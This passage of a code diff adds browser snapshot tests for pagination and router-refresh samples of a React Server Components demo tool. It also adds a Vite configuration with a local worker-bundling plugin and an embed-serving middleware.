18
+
await h.checkNoRemainingSteps();
19
+
});
20
+
21
+
test('pagination sample', async () => {
22
+
await h.load('pagination');
23
+
24
+
// Initial render - Suspense with Pending first
25
+
expect(await h.stepAll()).toMatchInlineSnapshot(`
26
+
"<div>
27
+
<h1>Pagination</h1>
28
+
<Suspense fallback={
29
+
<p style={{ color: "#888" }}>Loading recipes...</p>
30
+
}>
31
+
Pending
32
+
</Suspense>
33
+
</div>"
34
+
`);
35
+
expect(await h.preview()).toMatchInlineSnapshot(`"Pagination Loading recipes..."`);
36
+
37
+
// Then resolves to Paginator with initial items
38
+
expect(await h.stepAll()).toMatchInlineSnapshot(`
39
+
"<div>
40
+
<h1>Pagination</h1>
41
+
<Suspense fallback={
42
+
<p style={{ color: "#888" }}>Loading recipes...</p>
43
+
}>
44
+
<Paginator initialItems={[
45
+
<div key="1" style={{
46
+
padding: 12,
47
+
marginBottom: 8,
48
+
background: "#f5f5f5",
49
+
borderRadius: 6
50
+
}}>
51
+
<strong>Pasta Carbonara</strong>
52
+
<p style={{
53
+
margin: "4px 0 0",
54
+
color: "#666",
55
+
fontSize: 13
56
+
}}>
57
+
25 min · Medium
58
+
</p>
59
+
</div>,
60
+
<div key="2" style={{
61
+
padding: 12,
62
+
marginBottom: 8,
63
+
background: "#f5f5f5",
64
+
borderRadius: 6
65
+
}}>
66
+
<strong>Grilled Cheese</strong>
67
+
<p style={{
68
+
margin: "4px 0 0",
69
+
color: "#666",
70
+
fontSize: 13
71
+
}}>
72
+
10 min · Easy
73
+
</p>
74
+
</div>
75
+
]} initialCursor={2} loadMoreAction={[Function: loadMore]} />
76
+
</Suspense>
77
+
</div>"
78
+
`);
79
+
expect(await h.preview()).toMatchInlineSnapshot(`"Pagination Loading recipes..."`);
80
+
81
+
// First Load More
82
+
await h.frame().locator('.preview-container button').click();
83
+
expect(await h.preview()).toMatchInlineSnapshot(`"Pagination Pasta Carbonara 25 min · Medium Grilled Cheese 10 min · Easy Loading..."`);
84
+
85
+
// Action returns new items
86
+
expect(await h.stepAll()).toMatchInlineSnapshot(`
87
+
"{
88
+
newItems: [
89
+
<div key="3" style={{
90
+
padding: 12,
91
+
marginBottom: 8,
92
+
background: "#f5f5f5",
93
+
borderRadius: 6
94
+
}}>
95
+
<strong>Chicken Stir Fry</strong>
96
+
<p style={{
97
+
margin: "4px 0 0",
98
+
color: "#666",
99
+
fontSize: 13
100
+
}}>
101
+
20 min · Easy
102
+
</p>
103
+
</div>,
104
+
<div key="4" style={{
105
+
padding: 12,
106
+
marginBottom: 8,
107
+
background: "#f5f5f5",
108
+
borderRadius: 6
109
+
}}>
110
+
<strong>Beef Tacos</strong>
111
+
<p style={{
112
+
margin: "4px 0 0",
113
+
color: "#666",
114
+
fontSize: 13
115
+
}}>
116
+
30 min · Medium
117
+
</p>
118
+
</div>
119
+
],
120
+
cursor: 4,
121
+
hasMore: true
122
+
}"
123
+
`);
124
+
expect(await h.preview()).toMatchInlineSnapshot(`"Pagination Pasta Carbonara 25 min · Medium Grilled Cheese 10 min · Easy Chicken Stir Fry 20 min · Easy Beef Tacos 30 min · Medium Load More"`);
125
+
126
+
// Second Load More
127
+
await h.frame().locator('.preview-container button').click();
128
+
expect(await h.preview()).toMatchInlineSnapshot(`"Pagination Pasta Carbonara 25 min · Medium Grilled Cheese 10 min · Easy Chicken Stir Fry 20 min · Easy Beef Tacos 30 min · Medium Loading..."`);
129
+
130
+
// Final items, hasMore: false
131
+
expect(await h.stepAll()).toMatchInlineSnapshot(`
132
+
"{
133
+
newItems: [
134
+
<div key="5" style={{
135
+
padding: 12,
136
+
marginBottom: 8,
137
+
background: "#f5f5f5",
138
+
borderRadius: 6
139
+
}}>
140
+
<strong>Caesar Salad</strong>
141
+
<p style={{
142
+
margin: "4px 0 0",
143
+
color: "#666",
144
+
fontSize: 13
145
+
}}>
146
+
15 min · Easy
147
+
</p>
148
+
</div>,
149
+
<div key="6" style={{
150
+
padding: 12,
151
+
marginBottom: 8,
152
+
background: "#f5f5f5",
153
+
borderRadius: 6
154
+
}}>
155
+
<strong>Mushroom Risotto</strong>
156
+
<p style={{
157
+
margin: "4px 0 0",
158
+
color: "#666",
159
+
fontSize: 13
160
+
}}>
161
+
45 min · Hard
162
+
</p>
163
+
</div>
164
+
],
165
+
cursor: 6,
166
+
hasMore: false
167
+
}"
168
+
`);
169
+
expect(await h.preview()).toMatchInlineSnapshot(`"Pagination Pasta Carbonara 25 min · Medium Grilled Cheese 10 min · Easy Chicken Stir Fry 20 min · Easy Beef Tacos 30 min · Medium Caesar Salad 15 min · Easy Mushroom Risotto 45 min · Hard"`);
170
+
171
+
// No more items - button should be gone
172
+
expect(await h.frame().locator('.preview-container button').isVisible()).toBe(false);
173
+
});
+50
tests/refresh.spec.js
+50
tests/refresh.spec.js
···
1
+
import { test, expect, beforeAll, afterAll, afterEach } from 'vitest';
2
+
import { chromium } from 'playwright';
3
+
import { createHelpers } from './helpers.js';
4
+
5
+
let browser, page, h;
6
+
7
+
beforeAll(async () => {
8
+
browser = await chromium.launch();
9
+
page = await browser.newPage();
10
+
h = createHelpers(page);
11
+
});
12
+
13
+
afterAll(async () => {
14
+
await browser.close();
15
+
});
16
+
17
+
afterEach(async () => {
18
+
await h.checkNoRemainingSteps();
19
+
});
20
+
21
+
test('refresh sample - renders router with async content', async () => {
22
+
await h.load('refresh');
23
+
24
+
// Step to initial render (shows Pending)
25
+
expect(await h.stepAll()).toMatchInlineSnapshot(`
26
+
"<div>
27
+
<h1>Router Refresh</h1>
28
+
<p style={{ marginBottom: 12, color: "#666" }}>Client state persists across server navigations</p>
29
+
<Suspense fallback={
30
+
<p>Loading...</p>
31
+
}>
32
+
<Router initial={Pending} refreshAction={[Function: renderPage]} />
33
+
</Suspense>
34
+
</div>"
35
+
`);
36
+
expect(await h.preview()).toMatchInlineSnapshot(`"Router Refresh Client state persists across server navigations Loading..."`);
37
+
38
+
// Step to resolve async Timer content (color is random hsl value)
39
+
const tree = await h.stepAll();
40
+
expect(tree).toMatch(/Router Refresh/);
41
+
expect(tree).toMatch(/<Timer color="hsl\(\d+, 70%, 85%\)" \/>/);
42
+
43
+
// Wait for preview to render the timer (shows "0s" or similar)
44
+
await h.waitFor(
45
+
() => /\d+s/.test(document.querySelector('.preview-container')?.textContent || ''),
46
+
{ timeout: 5000 }
47
+
);
48
+
const preview = await h.preview();
49
+
expect(preview).toMatch(/Router Refresh.*\d+s.*Refresh/);
50
+
});
+94
vite.config.js
+94
vite.config.js
···
1
+
import { defineConfig } from 'vite';
2
+
import react from '@vitejs/plugin-react';
3
+
import { resolve, dirname } from 'path';
4
+
import { fileURLToPath } from 'url';
5
+
6
+
const __dirname = dirname(fileURLToPath(import.meta.url));
7
+
8
+
function rolldownWorkerPlugin() {
9
+
let mode = 'production';
10
+
return {
11
+
name: 'rolldown-worker',
12
+
enforce: 'pre',
13
+
configResolved(config) {
14
+
mode = config.mode;
15
+
},
16
+
resolveId(id, importer) {
17
+
if (id.includes('?rolldown-worker')) {
18
+
return '\0worker:' + resolve(dirname(importer), id.replace('?rolldown-worker', ''));
19
+
}
20
+
},
21
+
async load(id) {
22
+
if (!id.startsWith('\0worker:')) return;
23
+
const isProd = mode === 'production';
24
+
const { rolldown } = await import('rolldown');
25
+
// Use 'production' or 'development' condition to match React's export conditions
26
+
const conditions = isProd
27
+
? ['react-server', 'production', 'browser', 'import', 'default']
28
+
: ['react-server', 'development', 'browser', 'import', 'default'];
29
+
const bundle = await rolldown({
30
+
input: id.slice('\0worker:'.length),
31
+
platform: 'browser',
32
+
resolve: { conditionNames: conditions },
33
+
transform: {
34
+
define: {
35
+
'process.env.NODE_ENV': JSON.stringify(isProd ? 'production' : 'development'),
36
+
},
37
+
},
38
+
});
39
+
const { output } = await bundle.generate({ format: 'iife', minify: isProd });
40
+
for (const dep of output[0].moduleIds) {
41
+
if (dep.startsWith('/')) this.addWatchFile(dep);
42
+
}
43
+
await bundle.close();
44
+
return `
45
+
export default URL.createObjectURL(new Blob([${JSON.stringify(output[0].code)}], { type: 'application/javascript' }));
46
+
if (import.meta.hot) import.meta.hot.accept(() => location.reload());`;
47
+
},
48
+
};
49
+
}
50
+
51
+
function serveEmbedPlugin() {
52
+
return {
53
+
name: 'serve-embed',
54
+
configureServer(server) {
55
+
server.middlewares.use((req, res, next) => {
56
+
if (req.url === '/embed.js') {
57
+
req.url = '/src/embed.js';
58
+
}
59
+
next();
60
+
});
61
+
},
62
+
};
63
+
}
64
+
65
+
export default defineConfig(({ mode }) => ({
66
+
plugins: [react(), rolldownWorkerPlugin(), serveEmbedPlugin()],
67
+
server: { port: 3333 },
68
+
define: {
69
+
'process.env.NODE_ENV': JSON.stringify(mode === 'development' ? 'development' : 'production'),
70
+
},
71
+
resolve: {
72
+
conditions: mode === 'development'
73
+
? ['development', 'browser', 'import', 'default']
74
+
: ['production', 'browser', 'import', 'default'],
75
+
},
76
+
build: {
77
+
rollupOptions: {
78
+
input: {
79
+
main: resolve(__dirname, 'index.html'),
80
+
embed: resolve(__dirname, 'embed.html'),
81
+
'embed-js': resolve(__dirname, 'src/embed.js'),
82
+
},
83
+
output: {
84
+
entryFileNames: (chunkInfo) => {
85
+
if (chunkInfo.name === 'embed-js') {
86
+
return 'embed.js';
87
+
}
88
+
return 'assets/[name]-[hash].js';
89
+
},
90
+
},
91
+
preserveEntrySignatures: 'exports-only',
92
+
},
93
+
},
94
+
}));